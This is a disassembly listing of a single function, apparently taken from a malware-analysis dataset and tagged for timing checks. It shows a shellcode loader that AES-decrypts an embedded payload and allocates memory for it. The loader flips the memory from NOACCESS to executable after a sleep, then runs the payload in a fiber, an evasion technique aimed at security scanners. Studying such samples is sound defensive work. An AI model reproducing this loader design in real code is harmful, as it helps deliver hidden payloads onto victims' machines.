Function at 0x6df9e2e0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x74
mov dword [ebp - 0x4c], ecx
lea eax, [ebp - 0x38]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call eax
sub esp, 4
lea eax, [ebp - 0x28]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call eax
sub esp, 4
lea eax, [ebp - 0x39]
mov ecx, eax
call fcn.6df9d308
lea eax, [ebp - 0x39]
mov dword [esp + 4], 0x83200
mov dword [esp], 0x6e040120
mov ecx, eax
call method.AESDecryptor.Decrypt_unsigned_char__unsigned_int_
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x6df9e368
mov dword [esp + 4], str.____Failed_to_decrypt_shellcode.
mov dword [esp], 0x6e03f0e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov ebx, 0
jmp 0x6df9e782
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 8]
mov dword [esp], 0
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6df9e3d3
mov dword [esp + 4], str.____ConvertThreadToFiber_failed:
mov dword [esp], 0x6e03f0e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov ebx, 0
jmp 0x6df9e782
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0x83200
mov eax, dword [ebp - 0x4c]
mov ebx, dword [eax + 0x10]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0x3000
lea edx, [ebp - 0x44]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x6df9e471
mov dword [esp + 4], str.____NtAllocateVirtualMemory_failed:
mov dword [esp], 0x6e03f0e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov ecx, edx
call method.std::ostream.operator___long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov ebx, 0
jmp 0x6df9e782
mov eax, dword [ebp - 0x40]
mov dword [esp + 8], 0x83200
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x4c]
mov ebx, dword [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x48]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
lea edx, [ebp - 0x44]
mov dword [esp + 8], edx
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x6df9e53d
mov dword [esp + 4], str.____NtProtectVirtualMemory_to_NOACCESS_failed:
mov dword [esp], 0x6e03f0e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov ecx, edx
call method.std::ostream.operator___long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x4c]
mov ebx, dword [eax + 0x18]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0x8000
lea edx, [ebp - 0x44]
mov dword [esp + 8], edx
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x10
mov ebx, 0
jmp 0x6df9e782
mov dword [esp], 0xbb8
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x4c]
mov ebx, dword [eax + 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x48]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x10
lea edx, [ebp - 0x44]
mov dword [esp + 8], edx
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x6df9e600
mov dword [esp + 4], str.____NtProtectVirtualMemory_to_EXECUTE_failed:
mov dword [esp], 0x6e03f0e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov edx, eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov ecx, edx
call method.std::ostream.operator___long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x4c]
mov ebx, dword [eax + 0x18]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0x8000
lea edx, [ebp - 0x44]
mov dword [esp + 8], edx
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x10
mov ebx, 0
jmp 0x6df9e782
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x40]
mov dword [esp + 8], 0
mov dword [esp + 4], edx
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x6df9e6a5
mov dword [esp + 4], str.____CreateFiber_failed:
mov dword [esp], 0x6e03f0e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x4c]
mov ebx, dword [eax + 0x18]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0x8000
lea edx, [ebp - 0x44]
mov dword [esp + 8], edx
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x10
mov ebx, 0
jmp 0x6df9e782
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SwitchToFiber]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SwitchToFiber]
call eax
sub esp, 4
mov eax, dword [ebp - 0x4c]
mov ebx, dword [eax + 0x18]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0xc], 0x8000
lea edx, [ebp - 0x44]
mov dword [esp + 8], edx
lea edx, [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call ebx
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x30]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call eax
sub esp, 4
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov ebx, dword [ebp - 0x24]
sub eax, ecx
sbb edx, ebx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
fild qword [ebp - 0x58]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
fild qword [ebp - 0x58]
fdivp st(1)
fstp qword [ebp - 0x20]
mov dword [esp + 4], str.___Execution_time:
mov dword [esp], 0x6e03f220
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
fld qword [ebp - 0x20]
fstp qword [esp]
mov ecx, eax
call method.std::ostream.operator___double_
sub esp, 8
mov dword [esp + 4], str._seconds
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov ebx, 1
lea eax, [ebp - 0x39]
mov ecx, eax
call method.AESDecryptor.AESDecryptor__
cmp ebx, 1
jmp 0x6df9e7a7
mov ebx, dword [ebp - 4]
leave
ret